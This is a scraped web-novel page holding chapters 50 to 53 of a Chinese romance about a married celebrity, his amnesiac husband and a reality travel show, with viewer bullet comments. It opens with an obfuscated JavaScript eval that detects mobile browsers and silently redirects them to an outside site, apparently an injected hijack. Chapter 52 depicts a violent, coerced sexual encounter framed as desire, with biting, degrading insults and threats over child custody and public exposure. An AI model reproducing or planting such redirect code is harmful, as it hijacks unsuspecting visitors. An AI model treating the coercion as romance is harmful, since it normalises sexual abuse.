;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124692|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吃。”
那一刻,余赋秋心中被无尽的心酸充斥着。
于是他开始拼了命的努力,白天在各个剧组跑龙套,演着没有台词,甚至看不清脸的背景板,有时候是战争片安静一动不动的尸体,任由笨重的道具碾压过身体,他也一声不吭。
晚上,他开始去夜市摆摊,卖一些自己手工串的廉价的小饰品,后面他摆摊卖烤肠,常常被城管追着跑,收摊回到狭窄的二十人通铺,呼声震天响,但长庭知却能很敏锐地捕捉他的气息。
在他刚上床的时候,长庭知就拱进了他的怀里,冰冷的被窝被长庭知温暖了起来,好闻的气息将他们隔绝在浑浊的空气之外。
长庭知每晚都会很小声地说一句话,但余赋秋实在太累了,他听的迷迷糊糊。
可是在那个晚上,长庭知再一次钻入他的怀中,瘦小的手抓着他的衣角,那一刻,余赋秋听清了他一直以来说的话,长庭知说:“——欢迎回来。”
……
终于,余赋秋勉强攒够了钱财,买下了这个破破烂烂的小房子,既便下雨的时候会漏雨,甚至会刮风,破旧的窗户在风中发出呼呼的声响,也许是瘆人的。
余赋秋想。
房子小,一室一厅一卫,两个人站在一起都显得很挤了。
但是余赋秋却很喜欢这个房子。
他们会挤在那张小小的、吱呀作响的旧沙发上,分吃着一碗泡面,长庭知聪明,话学的很快,他会把捡瓶子攒钱买来的卤蛋,夹到余赋秋的碗中,然后笨拙地抬起头亲亲他的额头,说:“球球,以后我一定会让你住大房子。”
想起无数个夜晚,他们相拥在那张小床上,窗外是市井的嘈杂,屋内却只有彼此交缠的呼吸和低语,已经上了高中的长庭知已经长得比他还高了,他抱着余赋秋,在他的耳边规划着他们的未来。
那些记忆,无数次支撑余赋秋走过黑暗。
余赋秋颤抖着手,看着面前和印象中一致的小房子。
他拿出钥匙,插进锁孔,屏住呼吸。
自从他们搬去新家后,余赋秋就再也没有回过这里。
他清晰地记得,当时为了彻底告别过去,也为了筹集一笔应急的资金,是他亲自通过中介,将这个承载了他们最初梦想与艰辛的小窝,卖给了一对据说想要在城里落脚的和善老夫妇……
可眼前——
那张他们一起在旧货市场淘来的、吱呀作响却铺着干净格子桌布的小餐桌,还摆在原来的位置。墙上挂着的,依旧是那张他们在海边拍的、像素不高却笑容灿烂的合影相框,连摆放的角度都分毫不差。
沙发上,甚至还铺着余赋秋当年亲手钩织的、有些褪色的毛线盖毯。空气中没有老人居住的气息,反而弥漫着一种被人精心打理、纤尘不染的洁净感,以及一丝若有似无的、熟悉的雪松尾调。
原来……
原来长庭知,在他不知道的时候,早已悄悄地将这个房子重新买了回来。
然后,一点一点,耐心地、固执地,将他们曾经“家”的模样,分毫不差地,恢复了过来。
余赋秋僵在门口,心脏像是被一只无形的手狠狠攥住,又猛地松开,带来一阵窒息般的酸软和剧烈的悸动。他
环顾着这个熟悉到刻入骨血的空间,视线瞬间被汹涌而上的泪水模糊。
那个冷漠的、失忆的、口口声声说着厌恶和利益的长庭知……
他到底,还记得多少?
他又到底,在以怎样一种沉默而偏执的方式,守着连他自己或许都已遗忘的……来处?
50-60
第51章 第51章[VIP]
“余导游, 可以快点吗?”
苏书易拧着眉头,站在旋转行李处,手里推着车, 漂亮的眉头紧蹙, 如果不是家里人要她过来和柯祈安打好招呼,不然她放这好好的假期不度过,来这里户外晒太阳受苦, 真的……
她一上飞机,脸色就臭的很,只有面对镜头的时候, 才会有一丝丝的表情。
“你为什么非要买经济舱?”苏书易看着缓慢从人群中走出来的余赋秋, 不过再看到了那张苍白却漂亮的脸的时候,语气还是轻柔了下来。
该死, 看到这张脸的时候, 说什么也没办法生气了。
“人那么多,这里又人生地不熟,我行李还这么多,万一丢了,你赔我吗?”
余赋秋的低烧已经退下去了, 他前天在酒店蜷缩着冻了一晚, 早上又急匆匆地起来, 能强撑着意识上飞机已经是极限了。
醒来的时候,发现他靠在男人的肩膀上,身上搭着男人厚重的外套, 热气将他层层包裹, 额头上还贴着退烧贴,所以精神状态好了。
只是他天生肌肤偏白, 看样子血色还是没有多少。
他晕晕乎乎醒来的时候,男人低声哄着他,让他把药吞了下去,等余赋秋彻底清醒的时候,才发现自己已经拉着人家的衣袖在轻声的撒娇了。
天光大亮,他才看清了男人的面容。
眼珠子是漂亮的蓝色,头发乌黑柔顺,鼻梁高挺,流畅的下颚线,深邃的眼眸,仿佛一眼就让人灵魂深陷了进去。
“谢谢你,我给你添了很多的麻烦吧。”余赋秋迅速地松开手,耳朵逐渐染上绯红,不自在地说道。
男人的神色柔和,他无意识地摸了摸自己的无名指,那枚戒指已经被他放在了余赋秋的口袋里面,“如果真的觉得麻烦的,要怎么感谢我呢?”
余赋秋没想到这个人说话这么直白,他一时间没反应过来,“……感谢?”
男人轻笑了声,“对呀,我想要认识你,自我介绍下,我的Z国名字是沈昭铭。”
是混血吗?
余赋秋眨了眨眼眸,“我是。”他停顿了下,说了自己的英文名:“下次你来Z国,我带你好好玩玩。”
“只是我现在在工作,所以……”他抱歉道:“可能没有办法那么快答谢你,你给我一个联系方式吧,你有什么需要的,到时候联系我。”
他正准备拿出手机,却被沈昭铭钳住了手腕,沈昭铭笑了笑,拿出一张名片,“我觉得,这次可以是我带你。”
“你来的Y国是我的国家,有什么需要,直接给我打电话就好了。”沈昭铭滚动了下喉头,指尖揉了揉余赋秋的眼尾,“这里有东西。”
“如果真要感谢我,就把我当朋友吧,朋友之间是可以相互依赖的。”
余赋秋回过神来,手指摩挲着口袋里的那张薄薄的名片,心脏好像漏跳了一拍,他睫毛轻微颤抖着,看沈昭铭的衣着和举手投足的气质,怎么会坐经济舱?
“喂喂!你有没有在听我说话!”苏书易喊了半天,余赋秋却低着头,身后拉着他的箱子,没有抬起头看苏书易,她气的脸都憋红了。
“对不起对不起,书易。”余赋秋抬起脸,和苏书易的距离骤然拉近,苏书易的呼吸在这一刻静止了下,那张脸在她的瞳孔中逐渐的放大,好闻的皂角香扑面而来,像是秋天麦田的味道,她烦躁的心竟奇迹般地静了下去。
苏书易摸了摸鼻子,冷哼一声:“原,原谅你了。”
“我们住哪儿,飞机飞了十几个小时,累死了。”
苏书易又悄悄往余赋秋的身上靠,他的味道真好闻。苏书易悄悄地想。
柯祈安知道苏书易的脾气,在飞机下来的时候,他还无意间地提及了余赋秋是个没有时间观念的人,而苏书易最讨厌这种人,本来打算看苏书易对余赋秋横眉冷对,余赋秋咽不下这口气,在开拍的第一天就耍大牌走人的好戏,但苏书易却变了脸色。
没有出现想象中的画面,柯祈安面色难看。
他们拖着大小行李,一行人跟着余赋秋,按照余赋秋查好的、最省钱的公交路线,在陌生的城镇边缘下了车,Y国的冬天也依旧寒冷,空气粘稠。
余赋秋预定的民宿,位于老城区的深处,为了节省一点车费,他们不得不选择步行前往,狭窄的巷子只允许两个人前行,坑洼不平的青石板路对行李箱的轮子极度不友好,一路上发出刺耳的颠簸。
“余导游,到底在哪里啊?”施铜用手扇着风,压住语气里面的不耐,“这破路,我的箱子都要拖散了!我这个行李箱可是十八万,破了你给我修吗?”
余赋秋连声道歉,“对不起,大家再坚持一下啊。”
“你到底怎么做导游的?预算不够吗?这才第一天,就挑选这么破地方,周围都是鸟不拉屎的地点,我们还怎么游玩?”施铜扔下了箱子,音量大了起来。
就在这时候,柯祈安从后面走了出来,他先是温声安慰施铜:“辛苦了,再坚持一下。”
“其实想想看,这种在陌生巷弄里迷失、再寻找的过程,不正是深度探索的一部分吗?我们正在体验这座城市最真实、未经修饰的肌理。”
【我噻,真不愧是文化生,某人就说不出这种话吧,只会在那里哭哭哭,道歉。】
【好好笑噢,如果不是柯小三拿走一半预算去买头等舱,球球需要这么大费周折改变计划吗?他一开始预订的酒店都很好,怪谁?】
【导演都说了可以依赖求助别人,怎么,余赋秋只依靠导演组那么点预算?让住这么破的地方,万一我家安安的脸伤了怎么办,他下面的剧都还没拍!这个损失谁来算?】
【他不是能依靠长庭知么,传闻中‘护妻狂魔’打一个电话,长庭知恨不得把心给他,噢对不起我忘了,长庭知的人设塌了哈哈哈哈哈】
【被小三勾走了呗,谁还管余赋秋,不是说他的人缘很好吗,我看也不过如此啊,都是假的吧,除了这张脸能看,还有什么?就是一个花瓶。】
柯祈安拿出手机,他早就下载好了专门的卫星地图和离线导航软件,他快速地对比了一下周围,在前面的拐角处,“是那里。”
“哇!安安你好快呀。”莫厦惊叹道,“这什么软件,这么好使。”
【不对劲,不对劲,要上广告了?】
【杀人啦杀人啦。】
【让他赚!!我要看修罗场!!】
柯祈安抿着唇,腼腆地笑了笑:“这是长秋集团最新研发出来的软件app,内部人员内测才有。”
他看了看余赋秋,好奇地歪头,问:“余老师没有吗?”
“这是阿知知道我要出发节目,特地和部门要的代码。”
【杀人诛心啊安安,哈哈哈哈哈】
【小三给爷爬!!!】
【这还没离婚?谁信啊,失去男德的男人给我滚,不配呆在球球身边。】
余赋秋抿着唇,眼眸垂了下来,没说话。
他其实很久之前知道长庭知在捣鼓什么软件,只是他每次问起来的时候,长庭知总是和他说还没有好,万一他使用这个app出了问题,长庭知该怎么办?
久而久之,余赋秋便不再问了。
原来……
不是担心他。
而是他不配。
他们跟着柯祈安的方向,看见了那家挂着褪色招牌、门脸窄小的民宿。
然而,希望仅仅维持了推开大门的那一刻。
民宿内部的简陋超出了许多人的心理预期。
公共卫生间需要排队等待,房间狭小昏暗,墙壁有些许霉点,床品看起来陈旧单薄,空气中漂浮着淡淡的、难以形容的陈旧气味。
苏书易推开分到的房门,只看了一眼,就忍不住小声嘀咕,声音里充满了失望:“天哪……这地方……真的能住人吗?”
其他嘉宾脸上也难掩嫌弃与无奈,气氛再次跌入谷底。
柯祈安此时也查看了一下房间,他脸上并未露出任何嫌弃或惊讶,反而温和地评价道:“虽然条件简单了些,但你们看这老房子的木质结构,还有这天井里透下的光,确实挺有当地传统民居特色的。既来之则安之,这本身也是一种难得的体验。”
他的话再次起到了表面上的安抚作用,至少维持了基本的体面。
“余导,既便你看不惯我们安安,也不能这么苛待他啊。”施铜捂着嘴巴,从柯祈安的房间里出来。
镜头转到柯祈安的房间,只见柯祈安的房间上充斥着垃圾,而对比余赋秋的房间,面朝阳,虽然不是那么宽大,但也非常整洁。
两个形成鲜明的对比。
“我知道你们有些过节,可这也不全是他的错,扪心自问,你自己就没有错吗?”
施铜冷声道。
一个连自己爱人都看管不住的人,没有感情了就直接离婚啊,还占据着位置干什么?
施铜愤愤地想,但这些话,他不能正大光明地说出来。
【?什么意思?什么瓜,什么瓜?】
【施铜好像知道些什么,难道是先前余赋秋和胡道元被拍了照片?那个时候,他们的感情就出问题了吗。】
【什么瓜!!我2G了?】
【【图片】就这张,余赋秋和胡道元去柯祈安大学选角色,然后被人拍到在休息室里面,余赋秋被胡道元抱在怀里,两个人很亲近,但很快被长庭知澄清,说只是朋友。】
【这都快亲上去了吧,‘只是朋友。’】
【难道是余赋秋先出轨,然后甩锅给长庭知,让长庭知先提出离婚,他好拿更多长秋集团的股份?】
【楼上,你最重要的是卸载洋柿子小说。要是这样,余赋秋还来参加这个节目遇上柯祈安干什么?给自己找不痛快?】
“但这毕竟是节目,你们的过节为什么要放在节目里面来?”施铜问道,安抚了一下在他身后红着眼眶的柯祈安。
“余老师,我很喜欢你的,你为什么要这么对我?”柯祈安吸了吸鼻子,漂亮的眼尾泛红,“我,我和阿知哥之间没什么的,我都和你说过很多遍了,你为什么还要欺负我?”
【好浓的绿茶味。】
【咦……柯祈安认真的?】
【不得不说,柯祈安仅仅长相有几分神似余赋秋,哭起来就这么漂亮,如果余赋秋哭起来,那不是更……嘿嘿。】
【涉黄,举报了。】
“大姐,你搞笑吧?”田欣刚搬好行李,听见柯祈安这么说,整个人都被气笑了,“你自己的行李不搬就算了,三楼,就数你的行李最沉,是不是赋秋给你搬的?”
田欣抬起余赋秋的掌心,只见莹白的掌心已经被勒红,指尖被动的青紫,脸色苍白如雪,漂亮的眸子一眨一眨,眉目间盈满了破碎。
他只是咬着唇,一声不吭。
当镜头缓慢地向上,定格在他那张脸上。
弹幕有罕见的空白
【……草,一种植物,这也太好看了。】
【妈妈妈妈妈妈妈妈妈妈】
【想舔。】
【谢谢,截屏了,我的新壁纸。】
【长庭知吃这么好???草了,羡慕了。】
【呜呜呜,妈妈我先喊,妈妈想吃奶。】
“没事的,欣姐。”
余赋秋吸了吸鼻子,站在田欣的身前,对着柯祈安说道:“第一,是因为你领走了一大半预算,全拿去买头等舱了,为了后面的旅程,我才不得不削减这些。”
“第二,这家民宿我第一次来,我给你们搬行李,我自己的东西还在下面收拾好,我根本没有进入这个房间。”
“如果你觉得是我干的,可以,让老板把监控调出来,如何?”他笑了笑:“刚好我选的这家地理位置偏远,但很安全,摄像头每个房间都有。”
柯祈安神色一僵,哭着的动作都有些不自然。
“我……我……”
“说这个有意义吗?”施铜打断他:“现在根本住不了人,怎么解决?!”
【施铜脑子有病吧,从上飞机前就看他一直不爽了。】
【这舔柯祈安太明显了吧,拿整个剧组的一半预算买头等舱,666】
【错怪妈咪了,呜呜,妈咪亲亲。】
【?大型认妈现场】
柯祈安柔柔地拦住了施铜,眼眶通红,“为了补偿大家,我认识一个在Y国的朋友,他家就是开酒店的,不介意的话,和我一起去吧,算是我的补偿、。”
他对着镜头鞠了一躬:“对不起,是我的问题。”
【?他没事吧,余赋秋在他身后啊,他冲着镜头鞠躬干嘛?】
【太好笑了家人们。】
【脸上的怨恨都体现出来了,有点恶心。】
当柯祈安带着众人来到酒店的时候。
施铜先反应过来:“这是lihp酒店?!天哪,他家酒店一晚都得好多钱,安安,你居然认识吗?”
“太厉害了吧,不愧是安安。”莫厦附和道。
苏书易却只是拧着眉头,微微往旁边走开了些,柯祈安怎么是这样的人,不是她记忆里那单纯无害的小太阳了,像是变了一个人一样,让她好陌生。
她还是喜欢余赋秋身上的味道,让她更加安心,像是妈妈身上的味道。
众人的赞叹和羡慕的目光,柯祈安脸上的笑容愈发矜持而满足,尤其是在余赋秋那寒酸民宿的对比之下。
他抬了抬手,示意大家稍安勿躁:“大家别这么夸张,没什么的。这家酒店的创始人之一,恰好是我的一位……老朋友。”
“他知道我要来这边录节目,特意嘱咐了下面的人行个方便。所以,大家这几天可以安心住下,就当是……放松一下。”
“介绍一下,这是我朋友,也是这家店的负责人,酒店是他家开的。”
柯祈安对着众人道,只见一个穿着西装的男人走了出来,肚子凸起,打着不合规的领带,气势昂然地走在他们的中间。
“安安,这是你朋友?”那人上下打量了他们一下:“行啊,看在安安的面子上,给你们打折。”
“毕竟我开的酒店,我的话语权还是很重的。”
“要不是看在安安的分上,你们都得预约到明年,才能入住我的酒店。”他嗤笑道,只是眼神转了一圈后,定格在余赋秋的面前,“倒是这个……”
“咳咳。”他轻咳了一下,“小美人,我给你更多的优惠啊,听说你们在录节目,我可以让你们进酒店内拍摄,平常这都是禁止的。”
“只要你来和我探讨探讨节目的乐趣,怎么样?”
男人的手就要伸到余赋秋的脸上,余赋秋还没有来得及躲避,一只修长的手就捞起了男人的衣领。
眼前被打断,男人不爽地抬起眼:“哪个不长眼的,竟然在我的地盘……沈,沈总?!”
余赋秋抬起眼,看着想要轻薄他的男人被一脚踹飞了出去,沈昭铭回头,看着他:“没事吧?”
余赋秋愣愣地摇了摇头,“你怎么会在这里?”
“赋秋,你们认识?”田欣看着出现的俊美男人,怔了片刻。
“嗯……”余赋秋不知道该怎么回答。
“你叫赋秋?”沈昭铭笑着,低沉的嗓音笑了两下:“很好听。”
余赋秋耳朵一红。
“这个酒店是你开的?”沈昭铭看着被他踹飞在地上的男人,扫了一眼他的铭牌:“一个区区经理,也敢狮子大开口啊?”
“看来,我要好好问问你们的负责人了。”
男人一愣,“沈,沈总,不是这样的,我不是故意的,沈总,你不能开除我,我在这里工作了这么久。”
沈昭铭眼眸冷淡地扫了一眼男人,“我已经报警了,你骚扰我的朋友,等着传唤吧。”
“什么!”
Y国的法律严苛,对于性骚扰的审判更是严重,如果他真的进去了,他就再也找不到这么好的工作了。
他挣扎着想要扑上来,但沈昭铭一个转身,连带着余赋秋差点踉跄了下,他赶忙伸手把余赋秋抱在怀中。
昨晚萦绕了自己一晚的气息再次扑面而来,余赋秋的心漏跳了一拍,他抬眸,和沈昭铭对上了视线,他们离得特别近。
余赋秋在那双蓝宝石的眼眸里看见了自己的身影。
这一刻,他都忘记了呼吸。
就在这个时刻,入口的光线被一道挺大的身影遮挡。
一双手赫然出现在他们的中间,拉开了他们的距离。
“放手。”
两个字,从那人的紧咬的牙关中迸发出来,声音不高,却如同卒了冰一般。
余赋秋浑身一抖,不可置信地回过头,
长庭知逆着光,站在他的身后,面色晦暗不明,风尘仆仆,风衣凌乱,显然是从外面赶过来。
他不应该在Z国吗?
当飞行嘉宾也应该是在下一期。
怎么会现在出现在这里?
余赋秋的大脑还没转过来,他就被一股力量扯入怀中。
长庭知粗暴地扣住了他的手腕,力道大的仿佛要捏碎骨头。
但又一股力量在对抗他。
只见先前还带着温柔笑意的沈昭铭沉下脸来,“恕我不能这么做,长先生。”
“我再说最后一次。”长庭知的声音压得更低:“给我,放开。”
第52章 第52章[VIP]
【哦豁!!修罗场!!】
【打起来打起来打起来, 好看爱看,前排出售瓜子,矿泉水。】
【来一瓶!话说这个男人是谁啊?长庭知怎么会来这个节目?】
【卧槽卧槽, 这是正主空降抓奸现场?!】
【救, 站姐凌晨不是还拍到长庭知在Z国吗,怎么一个下午就到Y国了??开玩笑吧。】
【弱弱的举手……所以这个男人究竟是谁?】
【这个酒店我知道,既便房间很贵, 但都需要预约,本以为柯祈安关系这么大,看来是我想太多了?】
【沈总?我听到了那个胖子叫他沈总。】
【来了来了, 沈昭铭, 国籍:Y国,出生日期, 卧槽今年才二十六, 毕业于伦多大学,金融学硕士,是沈氏控股集团董事,律丰资本创始人,?沈振鸿是他爹?身价预估9.3亿刀乐。】
【?夺少, 你说夺少?几个零?】
【那今天热搜上爆出来的那个照片, 是沈昭铭和余赋秋???】
【怪不得长庭知风尘仆仆赶回来啊, 再不回来,真要被偷家了。】
【(id:修罗场品鉴师)来了来了!二男争一美!要素齐全:旧爱(?)新欢(?)误会、对峙、强取豪夺!他逃他追他插翅难飞!】
镜头直直对着三个人,被夹在中间的余赋秋, 面色苍白, 身体因为长庭知过于用力的禁锢而微微颤抖,长睫上沾着未干的泪珠, 眼神茫然,像是一只风暴席卷,不知所措的琉璃鸟。
“长先生,我想你最好搞清事情的重点。”
沈昭铭冷声道,“你如果看了任何的录像,就会知道,是那个人想要先欺辱赋秋,你什么都搞不清,直接上来就质问。”
“更何况,你没察觉到赋秋很疼吗。”
长庭知一愣,下意识地低头看向余赋秋,余赋秋咬着毫无血色的唇,手颤抖着,白皙的肌肤上甚至可以看见发的青紫的血管,而长庭知太过用力,抓着他手腕已经出现了红痕。
长庭知心下一沉。
面色僵硬地慢慢松开了动作,他转而看向被踹在地上的肥胖男人。
“就是你用这只脏手碰他的?”
长庭知踩着红底皮鞋,一步一步走到那人的面前,脸色阴沉得都可以滴出水来,就在他即将踩上那人的左手的时候,被一只手拦住了。
“阿,知哥!”
柯祈安挽住他的手腕,仰起头看着他,眼眶通红的宛如一只兔子,那双神似余赋秋的眉眼让长庭知一时间晃了神,“他,他也不是故意的。”
“因为我,导致住宿出了一点点的问题,所以我才联系他,来帮我们入住这个酒店。”柯祈安的声音带着哭腔,声音带着颤抖,扑进长庭知的怀中,“都是我的错,你别因为这个和其他人动粗,我不希望看到你这样。”
施铜忽然反应过来,立刻应声道:“是啊,知哥,不知道安排的什么住宿,去Y国的最偏远的地方,而且还是住的发霉的民宿,这也就算了,偏偏给小安安排的是最不好的房间,我们过去的时候,小安的房间里面都是垃圾,这怎么住啊。”
“知哥,你也知道,小安从小就是家里最宠爱的,哪受过这样的委屈啊?”
“嘶,疼——”
柯祈安的脸被长庭知抬了起来,只见在眼尾那处,有一条细小的伤痕,此刻正在流着鲜血。
“疼吗?”
长庭知的语气忽然柔和了下来,伸出指腹,小心翼翼地在他的伤口处轻轻碰了碰,“怎么这么不小心,我才离开多久,就这么照顾自己的?”
柯祈安吸了吸鼻子,看了一眼余赋秋,娇声道:“阿知,你别怪余老师,他也是无心的,只是那个巷子太窄了,可能是我不小心自己划到的吧。”
长庭知这才把目光重新转向余赋秋。
他刚才是怎么了?
为什么一看到余赋秋被别人抱在怀中,心中的怒火几乎要将他吞噬掉。
可是,他根本对余赋秋没有任何的记忆。
既便醒来的时候,别人都说余赋秋是他的爱人。
可是,他看着那张脸,心脏抽搐以外,在没有其他的感受。
而且他醒来的第一眼,是看到柯祈安,不知道为什么,看到柯祈安,他的心脏漏跳了一拍,一股异样的,他叫不上的情感铺天盖地的席卷而来,把他淹没。
当他看见余赋秋的时候,喉头那股窒息感又来了,只有他触碰到柯祈安,他才能得到解救,才能从那濒死般的窒息感中挣扎出来。
他低头,心疼地吹了吹柯祈安脸上的伤口,轻声道:“你先去房间好好休息,我找医生过来。”
柯祈安挽着他的手撒娇道:“不嘛,不嘛,我要阿知陪我。”
长庭知无奈地勾了勾他的鼻尖:“听话,我还有事情,要和他说。”
柯祈安的面色一沉,但很快又笑颜如花,“好,那今晚……”他踮着脚,趴在长庭知的耳边说:“要、好、好、陪、我、噢~”
长庭知这才转身,神色淡淡地看着被沈昭铭扶着的余赋秋。
在他被柯祈安抱住手臂的那一瞬,直播的镜头都全部被关闭了。
长庭知走进余赋秋,微微骇首,“我们谈谈。”
沈昭铭蹙着眉头,要拦着长庭知,却被余赋秋拉住了衣角。
酒店的光线斜斜落在余赋秋的脸上,让那张本就漂亮的面容呈现出一种令人心碎的破碎感,他仰着脸,眼尾染着一层薄薄的绯红,像是被泪水浸透过的,让沈昭铭一时间忘记了呼吸。
“赋秋,他……”
“没关系的。”余赋秋扬起一抹苍白勉强的笑,对着沈昭铭摇了摇头,走向了长庭知。
长庭知冷冷地看了一眼沈昭铭,将余赋秋扯进怀里,一把横抱起,踢开最近的房门,重重地关上了。
“他们……到底是什么关系?”沈昭铭的脸色阴沉,蓝色的眼睛尽然是酝酿着的风暴, 按照秘书整理的情报,长庭知出轨在即,应该离婚了才是。
“在Z国,还处于婚姻续存的阶段。”秘书拦住了想要去砸门的沈昭铭,“沈总,咱不能做一个插入婚姻的小三,您母亲知道了,后果会很沉重。”
沈昭铭的动作停住了,咬了咬后槽牙。
这种人凭什么有这种漂亮又贤惠的妻子!
为什么让他这么晚碰上赋秋!
还没离婚的话……只要离婚了,他不就有机会了吗。
……
“长……”
余赋秋还没说完,他就一把被扔去了床上,长庭知抓住他的头发,狠狠将他的脸抬起头,口中癫狂地呢喃着什么。
头皮传来的阵阵疼痛,余赋秋艰难地呼吸着空气,微微张口,柔软粉红的舌尖吐露在外面。
他的外套不知道扔到了哪里,长庭知一手撕烂了他的衣服,布料堪堪遮住上身,露出来的皮肤犹如白雪,因为怀孕过后哺育的地方相比于普通的男性,更多了一个小小的弧度,让瘦弱的身躯有了一丝肉感。
在长庭知看见他脖子上零星的吻痕的时候,长庭知瞳孔骤然紧缩。
“这是什么。”
他问。
把余赋秋的双手反剪在身后,一只手用力的揉搓他脖子上的吻痕。
“这才多久?”
“你就这么贱?我才刚醒没多久,你就迫不及待地找其他男人?”
“果然女表子就是女表子。”他咬着牙,指骨发出可怖的响声。
他这次回去还特地翻看了他们之间的照片,无一不彰显着,余赋秋很爱很爱他这个事实。
但现在呢?
他只是失去了所有的记忆,眼前这个人就迫不及待地钻进其他男人的怀抱。
亏他还从Z国特地赶回来。
结果呢?
余赋秋堂而皇之地披着别的男人的外套回来,脖子上带着恶心的印记,还在镜头面前和别人拉拉扯扯。
“行啊,既然你已经不干净了,那么我也没必要遮遮掩掩了。”
余赋秋被翻了个身,以跪趴的姿势,长庭知抵开他的双膝,粗重的呼吸声回荡在他的耳边。
偏偏余赋秋这时候回头,那双水润诱人的眼中氤氲着湿气,倒映出长庭知那因为愤怒而扭曲的面容。
一阵剧烈传来,那是长庭知张开口,狠狠在他的脊背上咬了一口,空气中还能闻到血腥味,余赋秋挣扎起来,他脸上都是泪,哭得喘不上去:“不,不要……”
“你不是都有了柯祈安了吗!我和谁在一起你管得找吗!”
“你滚!你滚!我不要你!”
他的鼻尖泛红,越发衬得肤色苍白如冷玉,几乎都能看见皮肤下淡青色的血管,因为情绪的起伏,他的嘴唇微微张开,气息有些不稳,唇瓣上还留着之前无意识咬出的细小齿痕,泛着一点水润的光泽。
“呵。”
长庭知虽然失去了记忆,但身体的本能让他在余赋秋的腰窝处一揉,余赋秋的身子骤然软了下来,长发披散在身后,他反手抬起下颚,咬住那张唇,让余赋秋被迫张开了唇,接受他的入侵。
“不……”
所有的话都被长庭知堵了回去,滤津交换,长庭知死死缠绕着他的舌,如同带着刺的荆棘,犬齿狠狠地咬了一口他的舌尖,血腥味不断地在两个人的唇齿间弥漫开来。
“你以为你对我很重要?”长庭知冷冷地看着他,“你唯一有用的就是这副身体了。”
“安安他怕疼,所以我只能在你的身上发泄,不然你以为你还有什么价值?”
“顶着我妻子的名头也够久了吧,你还有什么不满意。”
余赋秋的脸色已然一片惨白,他似乎失去了所有的知觉,手腕被死死地桎梏在头顶,口中的疼痛又不得不让他保持清醒,再无逃脱的可能。
他瞪大眼睛,不可置信地看着长庭知。
“呜——”
“你再挣扎一下。”长庭知的嗓音低沉地回荡在他耳边,“如果我们分开,你猜,长春春的抚养权会判给谁?”
余赋秋身影一僵。
“或者……”他的动作不安分,敏锐的感官在黑暗的房间里被无限制的放大,他的呼吸开始急促起来,“刚好,他们都在外面,如果,他们看到你这副样子,被发到网上,让他们都看到你在我身下的样子,好不好,嗯?”
“好不好宝宝,说话。”
长庭知的声音忽然变得温柔,勾着笑意,“让他们都知道,你是独属于我的小狗,让你全身上下都是我的味道,好不好?”
余赋秋浑身一颤,小说剧情又慢慢浮现在他的脑海中,他知道,现在的长庭知,是彻彻底底小说中的主角攻,他说道做到。
他真的会夺走长春春——
他没有任何胜算的可能。
更何况,他还在等待他爱人的回来,他不喜欢这个长庭知,一点也不喜欢——
长庭知没等到回答,脸色骤然沉了下去,用力地拽住余赋秋的长发,迫使他抬头,“怎么,不是你心心念念的长庭知,你很失望?”
“呜——”
余赋秋小声地啜泣着,住不住地摇头,“没有,不要夺走春春,不要……”
那是他和长庭知的孩子。
是长庭知留给他最珍贵的宝贝。
“这才乖,这才乖,这才是我的球球。”
长庭知把脸埋入他的脖颈间,疯狂地汲取着余赋秋的味道:“宝宝宝宝宝,我的宝宝。”
“好香,好香,好喜欢好喜欢。”
“你就是不乖,就是我没留下自己的痕迹,才让你被野狗觊觎。”
眼尾的涌出的泪水被舔舐干净,灵巧的舌头从眼尾一路往下,在他脖子上徘徊缠绕着,忽然,他脖子上传来一阵阵剧烈的疼痛。
但余赋秋不敢发出半点声响,只能死死捂住嘴,脖颈不受控制地拱起,像一只陷入绝境的天鹅。
长庭知重重的咬在他的脖子上,将那鲜明的吻痕反复覆盖着,尖锐的痛感顺着血脉蔓延。
剧烈的拉扯让余赋秋猛地睁大眼睛,瞳孔瞬间失焦。
细碎的刺痛密密麻麻涌上神经,让他浑身都绷成了一张紧弦。
余赋秋像一条濒死的鱼,眼目皆是风情,眼波流转,潋滟动人,他本该推开的,但长久的习惯让他只是颤颤巍巍的抱紧男人,把自己更送入男人口中。
“呜——轻,点……”
长庭知咬着他露在外面的小舌,余赋秋的脑袋晕晕乎乎,涎水从他们缠绕的舌尖滴落,剩余地全都被长庭知吃在口中。
那双漂亮的红唇被咬的软烂,舌根麻木到已经失去任何的知觉了。
他看着余赋秋已经涣散的瞳仁,甚至无力歪出口的小舌,他轻笑一声:“嘴上说着不要,但是这里却很诚实啊宝贝…”
“你只不过是个发.泄的工具而已,别妄想多余的东西。”
……
长庭知的掌心贴白皙的软肉上,“跑啊,怎么不跑了?”
“……”
“不要了……我不行了,呜……”
晃动的影子,以及一只白皙的手刚抓住床单,又被另一只大手抓了回去,男人咬着他的耳朵:“你知道拒绝我的后果。”
“这本来就是你欠小安的。”
作者有话说:
第53章 第53章[VIP]
余赋秋昏昏沉沉地从睡梦中醒来, 身子像是被车碾压过似的,尤其脖子,他一动, 就倒吸一口凉气。
“唔, 庭知,我要喝水……”
余赋秋和以往每次温存过后一样,下意识地钻入长庭知的怀中, 但他这回扑了个空,他茫然地睁开眼睛,看着已经变得空荡荡的床铺。
“……庭知?”
床铺已经变得冰冷, 余赋秋呼吸一窒, 只是他起身太过,血液没有及时供应到大脑, 踉跄着摔在了床底, 随着流出来的是已经变得冰冷的液体。
他神色一顿。
……是啊,这不是他的长庭知。
长庭知之所以会来Y国,也根本不是为了他,而是为了柯祈安。
耳边还回荡着昨晚长庭知冰冷的话语。
“你只是个发.泄的工具,别妄想多余的东西。”
“……小安他怕疼, 所以我只能发泄在你的身上……”
余赋秋看着自己满身的伤痕, 长发垂落, 浑身全都是密密麻麻的咬痕,甚至连脖子上也是,长庭知根本没有顾及他还在录制节目, 这种情况他怎么办。
……没关系。
他已经见到了长庭知, 这够了。
他已经迈出了很好的一步,不是吗?
……
【咦?余赋秋还没起来吗?】
【昨天的直播怎么掐了?我还想看后面的修罗场呢。】
【1111谁知道咋回事儿啊, 我以为是我信号的问题。】
